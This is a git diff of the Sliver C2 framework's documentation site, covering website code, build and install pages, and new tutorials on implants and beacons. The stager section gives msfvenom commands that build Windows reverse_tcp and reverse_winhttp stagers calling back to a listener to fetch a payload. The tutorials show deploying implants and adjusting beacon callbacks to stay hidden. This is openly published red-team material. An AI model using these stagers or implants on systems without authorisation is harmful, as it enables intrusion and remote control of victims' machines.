"url": "https://opencollective.com/unified"
|
||||
}
|
||||
},
|
||||
"node_modules/watchpack": {
|
||||
"version": "2.4.0",
|
||||
"resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.0.tgz",
|
||||
"integrity": "sha512-Lcvm7MGST/4fup+ifyKi2hjyIAwcdI4HRgtvTpIUxBRhB+RFtUh8XtDOxUfctVCnhVi+QQj49i91OyvzkJl6cg==",
|
||||
"dependencies": {
|
||||
"glob-to-regexp": "^0.4.1",
|
||||
"graceful-fs": "^4.1.2"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10.13.0"
|
||||
}
|
||||
},
|
||||
"node_modules/which": {
|
||||
"version": "2.0.2",
|
||||
"resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
|
||||
|
||||
@@ -21,7 +21,7 @@
|
||||
"framer-motion": "^10.16.16",
|
||||
"fuse.js": "^7.0.0",
|
||||
"lunr": "^2.3.9",
|
||||
"next": "14.0.4",
|
||||
"next": "^14.2.22",
|
||||
"next-themes": "^0.2.1",
|
||||
"react": "18.2.0",
|
||||
"react-dom": "18.2.0",
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import Navbar from "@/components/navbar";
|
||||
import "@/styles/globals.css";
|
||||
import { Docs } from "@/util/docs";
|
||||
import { Tutorials } from "@/util/tutorials";
|
||||
import { SearchContext, SearchCtx } from "@/util/search-context";
|
||||
import { Themes } from "@/util/themes";
|
||||
import { faExternalLink } from "@fortawesome/free-solid-svg-icons";
|
||||
@@ -42,6 +43,16 @@ export default function App({ Component, pageProps }: AppProps) {
|
||||
},
|
||||
});
|
||||
|
||||
queryClient.prefetchQuery({
|
||||
queryKey: ["tutorials"],
|
||||
queryFn: async (): Promise<Tutorials> => {
|
||||
const res = await fetch("/tutorials.json");
|
||||
const tutorials: Tutorials = await res.json();
|
||||
search.addTutorials(tutorials);
|
||||
return tutorials;
|
||||
},
|
||||
});
|
||||
|
||||
return (
|
||||
<NextUIProvider>
|
||||
<NextThemesProvider attribute="class" defaultTheme={getThemeState()}>
|
||||
|
||||
@@ -2,7 +2,7 @@ import Document, { Head, Html, Main, NextScript } from "next/document";
|
||||
import React from "react";
|
||||
|
||||
// This generates the https: and wss: "connect-src" directives based on the above backends list so its a little easier to edit.
|
||||
const CSP = `default-src 'none'; script-src 'self' 'unsafe-eval'; img-src 'self'; style-src 'self' 'unsafe-inline'; font-src 'self'; connect-src 'self'`;
|
||||
const CSP = `default-src 'none'; script-src 'self' 'unsafe-eval'; img-src 'self'; style-src 'self' 'unsafe-inline'; font-src 'self'; frame-src https://youtu.be; connect-src 'self'`;
|
||||
|
||||
class MyDocument extends Document {
|
||||
static async getInitialProps(ctx: any) {
|
||||
@@ -17,7 +17,6 @@ class MyDocument extends Document {
|
||||
return (
|
||||
<Html lang="en">
|
||||
<Head>
|
||||
<title>Sliver Docs</title>
|
||||
<meta httpEquiv="Content-Security-Policy" content={CSP} />
|
||||
</Head>
|
||||
<body>
|
||||
|
||||
@@ -7,15 +7,15 @@
|
||||
### Videos
|
||||
|
||||
- https://youtu.be/3R6WKUgN0K4?t=456
|
||||
- https://www.youtube.com/watch?v=QO_1UMaiWHk
|
||||
- https://www.youtube.com/watch?v=izMMmOaLn9g
|
||||
- https://www.youtube.com/watch?v=qIbrozlf2wM
|
||||
- https://www.youtube.com/watch?v=CKfjLnEMfvI
|
||||
- https://youtu.be/watch?v=QO_1UMaiWHk
|
||||
- https://youtu.be/watch?v=izMMmOaLn9g
|
||||
- https://youtu.be/watch?v=qIbrozlf2wM
|
||||
- https://youtu.be/watch?v=CKfjLnEMfvI
|
||||
|
||||
### Blogs
|
||||
|
||||
- https://bishopfox.com/blog/passing-the-osep-exam-using-sliver
|
||||
- https://notateamserver.xyz/sliver-101/
|
||||
- https://notateamserver.xyz/blog/sliver-101/
|
||||
- https://dominicbreuker.com/post/learning_sliver_c2_01_installation/
|
||||
- https://vk9-sec.com/how-to-set-up-use-c2-sliver/
|
||||
- https://0x90-1.gitbook.io/sliver/
|
||||
@@ -38,6 +38,7 @@
|
||||
|
||||
### Detection & Analysis
|
||||
|
||||
- https://medium.com/@unsec.monitor/how-to-use-zeek-detect-sliver-http-beacon-traffic-f05b214c4056
|
||||
- https://www.immersivelabs.com/blog/detecting-and-decrypting-sliver-c2-a-threat-hunters-guide/
|
||||
- https://blogs.vmware.com/security/2023/01/detection-of-lateral-movement-with-the-sliver-c2-framework.html
|
||||
- https://michaelkoczwara.medium.com/sliver-c2-implant-analysis-62773928097f
|
||||
|
||||
@@ -1,30 +1,22 @@
|
||||
You'll want to compile from a MacOS or Linux machine, compiling from native Windows in theory is possible, but none of the asset scripts are designed to run on Windows, you can cross-compile the Windows server/client binaries from a better operating system like Linux or MacOS. If you only have a Windows machine see "Windows Builds" below (TL;DR use WSL).
|
||||
|
||||
### Compile From Source (No Docker)
|
||||
# Sliver v1.6.x
|
||||
|
||||
From scratch without Docker, requirements for compiling:
|
||||
|
||||
- Go v1.21 or later, though we recommend Go v1.22. When compiling v1.5.x use Go v1.20.7
|
||||
- Go v1.21 or later
|
||||
- `make`, `sed`, `tar`, `curl`, `zip`, `cut` commands; most of these are installed by default but you may need to install `make`, `curl`, and `zip` depending on your distribution. On MacOS you may need to install XCode and accompanying cli tools.
|
||||
|
||||
**IMPORTANT:** The Sliver Makefile requires version information from the git repository, so you must `git clone` the repository. Using GitHub's "download zip" feature may omit the `.git` directory and result in broken builds.
|
||||
```asciinema
|
||||
{"src": "/asciinema/compile-from-source.cast", "cols": "132"}
|
||||
```
|
||||
|
||||
#### Compiling
|
||||
|
||||
First git clone the repository:
|
||||
### Compiling
|
||||
|
||||
```
|
||||
$ git clone https://github.com/BishopFox/sliver.git
|
||||
$ cd sliver
|
||||
```
|
||||
|
||||
The `master` branch will contain the latest Sliver features, however only release version of Sliver are recommended for production use. It is strongly recommended to checkout the latest tagged release branch when compiling from source unless you're a developer:
|
||||
|
||||
```
|
||||
$ git checkout tags/v1.5.39
|
||||
```
|
||||
|
||||
Sliver embeds its own copy of the Go compiler and a few internal tools, the first time your run `make` a bash script will run to download these assets to your local system. This means the first build will take much longer than subsequent builds, especially if your internet connection is slow.
|
||||
**IMPORTANT:** The Sliver Makefile requires version information from the git repository, so you must `git clone` the repository. Using GitHub's "download zip" feature may omit the `.git` directory and result in broken builds.
|
||||
|
||||
By default `make` will build whatever platform you're currently running on:
|
||||
|
||||
@@ -34,42 +26,33 @@ $ make
|
||||
|
||||
This will create `sliver-server` and `sliver-client` binaries.
|
||||
|
||||
#### Cross-compile to Specific Platforms
|
||||
|
||||
You can also specify a target platform for the `make` file, though you may need cross-compilers (see below):
|
||||
|
||||
```
|
||||
$ make macos
|
||||
$ make macos-arm64
|
||||
$ make linux
|
||||
$ make linux-arm64
|
||||
$ make windows
|
||||
```
|
||||
|
||||
### Docker Build
|
||||
|
||||
The Docker builds are mostly designed for running unit tests, but can be useful if you want a "just do everything" build, you just need to have Docker installed on the machine. First `git clone` the Sliver repo, then run the `build.py` script (the script isn't required but has a few short cuts see `./build.py --help`). Alternatively, execute the following command:
|
||||
There are a few Docker targets available depending on your needs:
|
||||
|
||||
- `test` - Runs the unit tests
|
||||
- `production` - Builds the production Docker image, including optional dependencies like Metasploit
|
||||
- `production-slim` - Builds the production Docker image, but without Metasploit and other optional dependencies
|
||||
|
||||
From the project root directory run:
|
||||
|
||||
```
|
||||
docker build -t sliver .
|
||||
docker build --target production -t sliver .
|
||||
```
|
||||
|
||||
#### Compiling Sliver on Kali Linux
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/sliver-docker-production.cast", "cols": "132"}
|
||||
```
|
||||
|
||||
The Docker build includes mingw and Metasploit, so it can take a while to build from scratch but Docker should cache the layers effectively. Sliver will also run it's unit tests as part of the build, and that takes a few minutes too.
|
||||
|
||||
### Windows Builds
|
||||
|
||||
**NOTE:** Starting with v1.1.0 in order to cross-compile Windows builds you'll need `mingw` on your system:
|
||||
|
||||
- Kali/Ubuntu/Debian `sudo apt install mingw-w64`
|
||||
- MacOS `brew install mingw-w64`
|
||||
|
||||
If all you have is a Windows machine, the easiest way to build Sliver is using [WSL](https://docs.microsoft.com/en-us/windows/wsl/install-win10) and following the Linux/cross-compile instructions above. To cross-compile a native Windows binary use `make windows` and copy it to your Windows file system (i.e. `/mnt/c/Users/foo/Desktop`) and run it using a terminal that supports ANSI sequences such as the [Windows Terminal](https://github.com/microsoft/terminal).
|
||||
|
||||
## Developers
|
||||
# Developers
|
||||
|
||||
If you want to modify any of the `.proto` files you'll need to setup a few additional tools to regenerate the `.pb.go` files.
|
||||
|
||||
- Protoc v3.19.4 or later
|
||||
- Protoc libprotoc v26.1 or later
|
||||
- Protoc-gen-go v1.27.1
|
||||
- Protoc-gen-go-grpc v1.2.0
|
||||
|
||||
@@ -95,3 +78,66 @@ Ensure that these are both on your `$PATH` after running the commands, if not yo
|
||||
```
|
||||
$ make pb
|
||||
```
|
||||
|
||||
# Sliver v1.5.x
|
||||
|
||||
- When compiling v1.5.x use Go v1.20.7 you can check your version using `go version`. You can use the [Go Version Manager](https://github.com/moovweb/gvm) to install and manage multiple versions of Go.
|
||||
- `make`, `sed`, `tar`, `curl`, `zip`, `cut` commands; most of these are installed by default but you may need to install `make`, `curl`, and `zip` depending on your distribution. On MacOS you may need to install XCode and accompanying cli tools.
|
||||
|
||||
### Compiling
|
||||
|
||||
First git clone the repository:
|
||||
|
||||
```
|
||||
$ git clone https://github.com/BishopFox/sliver.git
|
||||
$ cd sliver
|
||||
```
|
||||
|
||||
The `master` branch will contain the latest Sliver features, however only release version of Sliver are recommended for production use. It is strongly recommended to checkout the latest tagged release branch when compiling from source unless you're a developer:
|
||||
|
||||
```
|
||||
$ git checkout tags/v1.5.42
|
||||
```
|
||||
|
||||
Sliver embeds its own copy of the Go compiler and a few internal tools, the first time your run `make` a bash script will run to download these assets to your local system. This means the first build will take much longer than subsequent builds, especially if your internet connection is slow.
|
||||
|
||||
By default `make` will build whatever platform you're currently running on:
|
||||
|
||||
```
|
||||
$ make
|
||||
```
|
||||
|
||||
**IMPORTANT:** The Sliver Makefile requires version information from the git repository, so you must `git clone` the repository. Using GitHub's "download zip" feature may omit the `.git` directory and result in broken builds.
|
||||
|
||||
This will create `sliver-server` and `sliver-client` binaries.
|
||||
|
||||
### Cross-compile to Specific Platforms
|
||||
|
||||
You can also specify a target platform for the `make` file, though you may need cross-compilers (see below):
|
||||
|
||||
```
|
||||
$ make macos
|
||||
$ make macos-arm64
|
||||
$ make linux
|
||||
$ make linux-arm64
|
||||
$ make windows-amd64
|
||||
```
|
||||
|
||||
### Docker Build
|
||||
|
||||
The Docker builds are mostly designed for running unit tests, but can be useful if you want a "just do everything" build:
|
||||
|
||||
```
|
||||
docker build -t sliver .
|
||||
```
|
||||
|
||||
The Docker build includes mingw and Metasploit, so it can take a while to build from scratch but Docker should cache the layers effectively. Sliver will also run it's unit tests as part of the build, and that takes a few minutes too.
|
||||
|
||||
### Windows Builds
|
||||
|
||||
**NOTE:** In versions of Sliver prior to 1.6.0 you will need mingw to cross-compile Windows builds:
|
||||
|
||||
- Kali/Ubuntu/Debian `sudo apt install mingw-w64`
|
||||
- MacOS `brew install mingw-w64`
|
||||
|
||||
If all you have is a Windows machine, the easiest way to build Sliver is using [WSL](https://docs.microsoft.com/en-us/windows/wsl/install-win10) and following the Linux/cross-compile instructions above. To cross-compile a native Windows binary use `make windows-amd64` and copy it to your Windows file system (i.e. `/mnt/c/Users/foo/Desktop`) and run it using a terminal that supports ANSI sequences such as the [Windows Terminal](https://github.com/microsoft/terminal).
|
||||
@@ -10,7 +10,7 @@ For a Linux server, you can also use the one liner installation `curl https://sl
|
||||
{"src": "/asciinema/install-1.cast", "cols": "132"}
|
||||
```
|
||||
|
||||
If you install Sliver via the one liner, you can check that the server service is running using `systemctl status sliver`. Note that the Sliver service is not configured to start automatically on boot by default (i.e., if you reboot the server you'll need to start the service again using `systemctrl start sliver`):
|
||||
If you install Sliver via the one liner, you can check that the server service is running using `systemctl status sliver`. Note that the Sliver service is not configured to start automatically on boot by default (i.e., if you reboot the server you'll need to start the service again using `systemctl start sliver`):
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/service-status-1.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
|
||||
@@ -50,7 +50,10 @@ ID Name Protocol Port
|
||||
|
||||
### Metasploit: Bring Your Own Stager
|
||||
|
||||
If you want to use [stagers generated by the Metasploit Framework with Sliver](https://www.rapid7.com/blog/post/2022/09/16/metasploit-weekly-wrap-up-176/) (using `msfconsole`, `msfvenom` or the `generate stager` command), you will need to pass the additional `--prepend-size` flag to `stage-listener`, like this:
|
||||
**Using Metasploit stagers is only supported on Windows.**
|
||||
|
||||
#### Generating an HTTP stager
|
||||
If you want to use [stagers generated by the Metasploit Framework with Sliver](https://www.rapid7.com/blog/post/2022/09/16/metasploit-weekly-wrap-up-176/) (using `msfconsole` or `msfvenom`), you will need to pass the additional `--prepend-size` flag to `stage-listener`, like this:
|
||||
|
||||
```
|
||||
sliver > stage-listener --url http://192.168.122.1:1234 --profile win-shellcode --prepend-size
|
||||
@@ -60,27 +63,33 @@ This will prepend the size of the payload to the final binary sent to the stager
|
||||
|
||||
Sliver staging listeners only accept `tcp://`, `http://` and `https://` schemes for the `--url` flag. The format for this flag is `scheme://IP:PORT`. If no value is specified for `PORT`, an error will be thrown out.
|
||||
|
||||
We can now generate a stager using the `generate stager` command:
|
||||
Either `msfconsole` or `msfvenom` can be used directly to generate stager shellcodes or binaries with the `custom` payload type:
|
||||
|
||||
```
|
||||
sliver > generate stager --lhost 192.168.122.1 --lport 1234 --protocol http --save /tmp
|
||||
|
||||
[*] Sliver stager saved to: /tmp/CIRCULAR_BRA
|
||||
```
|
||||
|
||||
By default, the staging protocol used is TCP. The `--protocol` flag can be used to specify either `tcp`, `http` or `https` as the staging protocol.
|
||||
The generated shellcode can now be used on the target system to start a new Sliver session.
|
||||
|
||||
## Generating Stagers with the Metasploit Framework
|
||||
|
||||
The Metasploit framework can also be used to generate stager shellcodes or binaries. One can use either `msfconsole` or `msfvenom` directly, and choose a `custom` payload type:
|
||||
|
||||
```
|
||||
msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.122.1 LPORT=1234 LURI=/hello.woff -f raw -o /tmp/stager.bin
|
||||
msfvenom --payload windows/x64/custom/reverse_winhttp LHOST=192.168.122.1 LPORT=1234 LURI=/hello.woff --format raw --out /tmp/stager.bin
|
||||
```
|
||||
|
||||
**Remark**: At the moment, the `custom/reverse_http` payload is not compatible with Sliver shellcodes (the stager crashes). However, one can use the `custom/reverse_winhttp` payload instead.
|
||||
|
||||
Depending on the payload you choose, you can specify additional options, such as HTTP proxy settings. Use the `msfvenom` flag `--list-options` with a payload type or `show advanced` in `msfconsole`.
|
||||
|
||||
#### Generating a TCP stager
|
||||
Use the `stage-listener` command to set up a listener that will send the binary to the stager:
|
||||
|
||||
```
|
||||
silver > stage-listener --url tcp://192.168.122.1:1234 --profile win-shellcode --prepend-size
|
||||
```
|
||||
|
||||
Notice that we are using the `tcp://` scheme because this is a TCP stager. The `--prepend-size` option is still necessary because we will be using Metasploit.
|
||||
|
||||
As above, either `msfconsole` or `msfvenom` can be used directly to generate stager shellcodes or binaries with the `custom` payload type. Here is an example using `msfvenom`:
|
||||
|
||||
```
|
||||
# LHOST and LPORT should correspond to the --url parameter of your stage-listener command
|
||||
|
||||
msfvenom --payload windows/x64/custom/reverse_tcp LHOST=192.168.122.1 LPORT=1234 --format raw --out /tmp/stager.bin
|
||||
```
|
||||
|
||||
## Custom Stagers
|
||||
|
||||
One thing to consider while writing or using a custom stager, especially for the HTTP protocol, is that the Sliver server will only serve stage 2 payloads on specifically defined URLs. Indeed, since the HTTP staging listener is reusing the regular HTTP listener, it follows the same [procedural HTTP protocol](/docs?name=HTTPS+C2).
|
||||
|
||||
@@ -18,9 +18,8 @@ export default function Home() {
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="grid grid-cols-12 mt-2">
|
||||
<div className="col-span-1"></div>
|
||||
<div className="col-span-5 mr-2">
|
||||
<div className="grid grid-cols-12 mt-2 gap-2 ml-12 mr-12">
|
||||
<div className="col-span-6">
|
||||
<AsciinemaPlayer
|
||||
src="/asciinema/intro.cast"
|
||||
rows="18"
|
||||
@@ -31,7 +30,7 @@ export default function Home() {
|
||||
loop={true}
|
||||
/>
|
||||
</div>
|
||||
<div className="col-span-5 ml-2">
|
||||
<div className="col-span-6 ml-2">
|
||||
<Card>
|
||||
<CardHeader>
|
||||
<div className="flex items-center">
|
||||
@@ -64,21 +63,17 @@ export default function Home() {
|
||||
</CardBody>
|
||||
</Card>
|
||||
</div>
|
||||
<div className="col-span-1"></div>
|
||||
|
||||
<div className="col-span-1"></div>
|
||||
<div className="col-span-10 mt-8">
|
||||
<div className="col-span-12 mt-8">
|
||||
<Divider />
|
||||
</div>
|
||||
<div className="col-span-1"></div>
|
||||
|
||||
<div className="col-span-1"></div>
|
||||
<div className="col-span-10 mt-8">
|
||||
<div className="grid grid-cols-8">
|
||||
<div className="col-span-2">
|
||||
<div className="col-span-12 mt-8">
|
||||
<div className="grid grid-cols-9 gap-2">
|
||||
<div className="col-span-3">
|
||||
<TutorialCard
|
||||
name="Getting Started"
|
||||
description="A quick start guide to get you up and running with Sliver."
|
||||
description="A quick start guide to get you up and running"
|
||||
asciiCast="/asciinema/install-1.cast"
|
||||
cols="133"
|
||||
rows="32"
|
||||
@@ -93,9 +88,27 @@ export default function Home() {
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div className="col-span-3">
|
||||
<TutorialCard
|
||||
name="Compile From Source"
|
||||
description="How to compile Sliver from source"
|
||||
asciiCast="/asciinema/compile-from-source.cast"
|
||||
cols="133"
|
||||
rows="32"
|
||||
idleTimeLimit={1}
|
||||
showButton={true}
|
||||
buttonText="Read Docs"
|
||||
onPress={() => {
|
||||
router.push({
|
||||
pathname: "/docs",
|
||||
query: { name: "Compile from Source" },
|
||||
});
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div className="col-span-1"></div>
|
||||
|
||||
<div className="col-span-12 mb-8"></div>
|
||||
</div>
|
||||
|
||||
@@ -1,11 +1,152 @@
|
||||
import MarkdownViewer from "@/components/markdown";
|
||||
import { Tutorials } from "@/util/tutorials";
|
||||
import { Themes } from "@/util/themes";
|
||||
import { faSearch } from "@fortawesome/free-solid-svg-icons";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import {
|
||||
Card,
|
||||
CardBody,
|
||||
CardHeader,
|
||||
Divider,
|
||||
Input,
|
||||
Listbox,
|
||||
ListboxItem,
|
||||
ScrollShadow,
|
||||
} from "@nextui-org/react";
|
||||
import { useQuery } from "@tanstack/react-query";
|
||||
import Fuse from "fuse.js";
|
||||
import { NextPage } from "next";
|
||||
import { useTheme } from "next-themes";
|
||||
import Head from "next/head";
|
||||
import { useSearchParams } from "next/navigation";
|
||||
import { useRouter } from "next/router";
|
||||
import React from "react";
|
||||
|
||||
const TutorialsIndexPage: NextPage = () => {
|
||||
const { theme } = useTheme();
|
||||
const router = useRouter();
|
||||
|
||||
const { data: tutorials, isLoading } = useQuery({
|
||||
queryKey: ["tutorials"],
|
||||
queryFn: async (): Promise<Tutorials> => {
|
||||
const res = await fetch("/tutorials.json");
|
||||
return res.json();
|
||||
},
|
||||
});
|
||||
|
||||
const params = useSearchParams();
|
||||
const [name, setName] = React.useState("");
|
||||
const [markdown, setMarkdown] = React.useState("");
|
||||
|
||||
React.useEffect(() => {
|
||||
const _name = params.get("name");
|
||||
setName(_name || "");
|
||||
setMarkdown(tutorials?.tutorials.find((tutorial) => tutorial.name === _name)?.content || "");
|
||||
}, [params, tutorials]);
|
||||
|
||||
const [filterValue, setFilterValue] = React.useState("");
|
||||
const fuse = React.useMemo(() => {
|
||||
return new Fuse(tutorials?.tutorials || [], {
|
||||
keys: ["name"],
|
||||
threshold: 0.3,
|
||||
});
|
||||
}, [tutorials]);
|
||||
|
||||
const visibleTutorials = React.useMemo(() => {
|
||||
if (filterValue) {
|
||||
// Fuzzy match display names
|
||||
const fuzzy = fuse.search(filterValue).map((r) => r.item);
|
||||
return fuzzy;
|
||||
}
|
||||
return tutorials?.tutorials || [];
|
||||
}, [tutorials, fuse, filterValue]);
|
||||
|
||||
const listboxClasses = React.useMemo(() => {
|
||||
if (theme === Themes.DARK) {
|
||||
return "p-0 gap-0 divide-y divide-default-300/50 dark:divide-default-100/80 bg-content1 overflow-visible shadow-small rounded-medium";
|
||||
} else {
|
||||
return "border p-0 gap-0 divide-y divide-default-300/50 dark:divide-default-100/80 bg-content1 overflow-visible shadow-small rounded-medium";
|
||||
}
|
||||
}, [theme]);
|
||||
|
||||
if (isLoading || !tutorials) {
|
||||
return <div>Loading...</div>;
|
||||
}
|
||||
|
||||
const IndexPage: NextPage = () => {
|
||||
return (
|
||||
<div>
|
||||
<p>Coming soon...</p>
|
||||
<div className="grid grid-cols-12">
|
||||
<Head>
|
||||
<title>Sliver Tutorial: {name}</title>
|
||||
</Head>
|
||||
<div className="col-span-3 mt-4 ml-4 h-screen sticky top-20">
|
||||
<div className="flex flex-row justify-center text-lg gap-2">
|
||||
<Input
|
||||
placeholder="Filter..."
|
||||
startContent={<FontAwesomeIcon icon={faSearch} />}
|
||||
value={filterValue}
|
||||
onChange={(e) => setFilterValue(e.target.value)}
|
||||
isClearable={true}
|
||||
onClear={() => setFilterValue("")}
|
||||
/>
|
||||
</div>
|
||||
<div className="mt-2">
|
||||
<ScrollShadow>
|
||||
<div className="max-h-[70vh]">
|
||||
<Listbox
|
||||
aria-label="Toolbox Menu"
|
||||
className={listboxClasses}
|
||||
itemClasses={{
|
||||
base: "px-3 first:rounded-t-medium last:rounded-b-medium rounded-none gap-3 h-12 data-[hover=true]:bg-default-100/80",
|
||||
}}
|
||||
>
|
||||
{visibleTutorials.map((tutorial) => (
|
||||
<ListboxItem
|
||||
key={tutorial.name}
|
||||
value={tutorial.name}
|
||||
onClick={() => {
|
||||
router.push({
|
||||
pathname: "/tutorials",
|
||||
query: { name: tutorial.name },
|
||||
});
|
||||
}}
|
||||
>
|
||||
{tutorial.name}
|
||||
</ListboxItem>
|
||||
))}
|
||||
</Listbox>
|
||||
</div>
|
||||
</ScrollShadow>
|
||||
</div>
|
||||
</div>
|
||||
<div className="col-span-9">
|
||||
{name !== "" ? (
|
||||
<Card className="mt-8 ml-8 mr-8 mb-8">
|
||||
<CardHeader>
|
||||
<span className="text-3xl">{name}</span>
|
||||
</CardHeader>
|
||||
<Divider />
|
||||
<CardBody>
|
||||
<MarkdownViewer
|
||||
key={name || `${Math.random()}`}
|
||||
markdown={markdown || ""}
|
||||
/>
|
||||
</CardBody>
|
||||
</Card>
|
||||
) : (
|
||||
<div className="grid grid-cols-3">
|
||||
<div className="col-span-1"></div>
|
||||
<div className="col-span-1 mt-8 text-2xl text-center">
|
||||
Welcome to the Sliver Tutorials!
|
||||
<div className="text-xl text-gray-500">
|
||||
Please select a chapter
|
||||
</div>
|
||||
</div>
|
||||
<div className="col-span-1"></div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
|
||||
export default IndexPage;
|
||||
export default TutorialsIndexPage;
|
||||
@@ -0,0 +1,95 @@
|
||||
# This course is intended for the 1.6 version of Sliver, which is not yet published
|
||||
|
||||
`sliver-server` is the binary you want to use to run the Sliver C2 server, `sliver-client` is solely a client to connect to a Sliver C2 server. Sliver server also acts as a client on its own, so you don’t necessarily run sliver server and client separately.
|
||||
|
||||
First time running Sliver will take a couple seconds as it's retrieving its dependencies. Consecutive executions will be much faster. Go ahead and launch the `sliver-server`.
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/startup.cast", "cols": "132", "rows": "28", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
Let's take a couple minutes to discuss what Sliver actually is and how it's set up.
|
||||
|
||||

|
||||
|
||||
Now that Sliver is running, lets generate and execute your first implant to try out some of the basic features of Sliver, for now we’re going to run everything on the local host.
|
||||
|
||||
Here's what we're going to do:
|
||||
* Generate your implant using the `generate` command as shown below.
|
||||
* Start HTTP listener on port 80
|
||||
* Execute implant in a separate terminal
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/first-implant.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
Now let’s select our implant and run our first command using the `use` command.
|
||||
|
||||
```bash
|
||||
[server] sliver > use
|
||||
? Select a session or beacon:
|
||||
SESSION 1884a365 RELATED_EARDRUM [::1]:49153 test.local tester darwin/amd64
|
||||
[*] Active session RELATED_EARDRUM (1884a365-085f-4506-b28e-80c481730fd0)
|
||||
|
||||
[server] sliver (RELATED_EARDRUM) > pwd
|
||||
|
||||
[*] /Users/tester/tools
|
||||
```
|
||||
|
||||
Once you have reached this point, go ahead and explore some of the commands listed below. In each case, first check out the command's help using the **`-h`** flag then try it out!
|
||||
|
||||
```bash
|
||||
Exploring and interacting with the filesystem
|
||||
|
||||
Filesystem
|
||||
cat Dump file to stdout
|
||||
cd Change directory
|
||||
cp Copy a file
|
||||
download Download a file
|
||||
grep Search for strings that match a regex within a file or directory
|
||||
head Grab the first number of bytes or lines from a file
|
||||
ls List current directory
|
||||
mkdir Make a directory
|
||||
mv Move or rename a file
|
||||
pwd Print working directory
|
||||
rm Remove a file or directory
|
||||
tail Grab the last number of bytes or lines from a file
|
||||
upload Upload a file
|
||||
```
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/filesystem.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
Getting some environmental information
|
||||
```bash
|
||||
Info
|
||||
env List environment variables
|
||||
getgid Get session process GID
|
||||
getpid Get session pid
|
||||
getuid Get session process UID
|
||||
info Get session info
|
||||
ping Send round trip message to implant (does not use ICMP)
|
||||
whoami Get session user execution context
|
||||
```
|
||||
Execute a binary
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/execute.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
Running an interactive shell
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/shell.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
Not all commands are supported for all operating systems or meant to be used on all operating systems, here are a few examples:
|
||||
|
||||
```
|
||||
mount Get information on mounted filesystems (only for Windows and Linux)
|
||||
screenshot Take a screenshot (only for Windows and Linux)
|
||||
memfiles List current memfiles (Linux only)
|
||||
```
|
||||
|
||||
This is an open-source project if you see a bug please file an issue! Pull requests are always welcome.
|
||||
@@ -0,0 +1,94 @@
|
||||
# This course is intended for the 1.6 version of Sliver, which is not yet published
|
||||
|
||||
Sliver implants support two types of connections, sessions and beacons.
|
||||
|
||||
Sessions use long-polling connections, which means they constantly maintain a single TCP connection open while communicating with the server. Beacons on the other hand call back periodically and will sleep when not active which can help keep their presence hidden. You could limit callbacks to once every 6 hours for example and only 'activate' the beacon when needed by switching its sleeping time to a shorter duration.
|
||||
|
||||
Typically during an engagement you will want to deploy a beacon on the target system and switch to a session while doing more active enumeration.
|
||||
|
||||
Let’s start with generating and deploying a beacon using `http`.
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/beacon_generation.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
You can see the beacon callback times either in the `info` command or using `beacons watch`.
|
||||
|
||||
```bash
|
||||
[server] sliver > beacons watch
|
||||
|
||||
ID Name Transport Username Operating System Last Check-In Next Check-In
|
||||
========== =============== =========== ================= ================== =============== ===============
|
||||
942c647c TIRED_GIRAFFE http(s) tester darwin/amd64 52s 12s
|
||||
|
||||
```
|
||||
|
||||
Beacon callback times and jitter can be set either during generation or on the fly using the `reconfig` command.
|
||||
|
||||
The example below sets the callback time to 5s with a 1s jitter.
|
||||
|
||||
```bash
|
||||
[server] sliver (TIRED_GIRAFFE) > reconfig -i 5s -j 1s
|
||||
|
||||
[*] Tasked beacon TIRED_GIRAFFE (b8aa6fd8)
|
||||
|
||||
[+] TIRED_GIRAFFE completed task b8aa6fd8
|
||||
|
||||
[*] Reconfigured beacon
|
||||
|
||||
[server] sliver (TIRED_GIRAFFE) > info
|
||||
|
||||
Beacon ID: 942c647c-8409-4877-9fa2-b84a7f27ad45
|
||||
Name: TIRED_GIRAFFE
|
||||
Hostname: tester.local
|
||||
UUID: c6de1a44-016a-5fbe-b76a-da56af41316d
|
||||
Username: tester
|
||||
UID: 501
|
||||
GID: 20
|
||||
PID: 55879
|
||||
OS: darwin
|
||||
Version:
|
||||
Locale:
|
||||
Arch: amd64
|
||||
Active C2: https://127.0.0.1
|
||||
Remote Address: 127.0.0.1:51803
|
||||
Proxy URL:
|
||||
Interval: 1m0s
|
||||
Jitter: 30s
|
||||
First Contact: Wed Apr 19 01:14:21 CEST 2023 (10m30s ago)
|
||||
Last Checkin: Wed Apr 19 01:18:20 CEST 2023 (6m31s ago)
|
||||
Next Checkin: Wed Apr 19 01:19:46 CEST 2023 (5m5s ago)
|
||||
```
|
||||
|
||||
Commands issued for beacons can be viewed using `tasks`, the task state will indicate whether the command has completed or not. The results of previously run tasks can be viewed using `tasks fetch`.
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/beacon_tasks.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
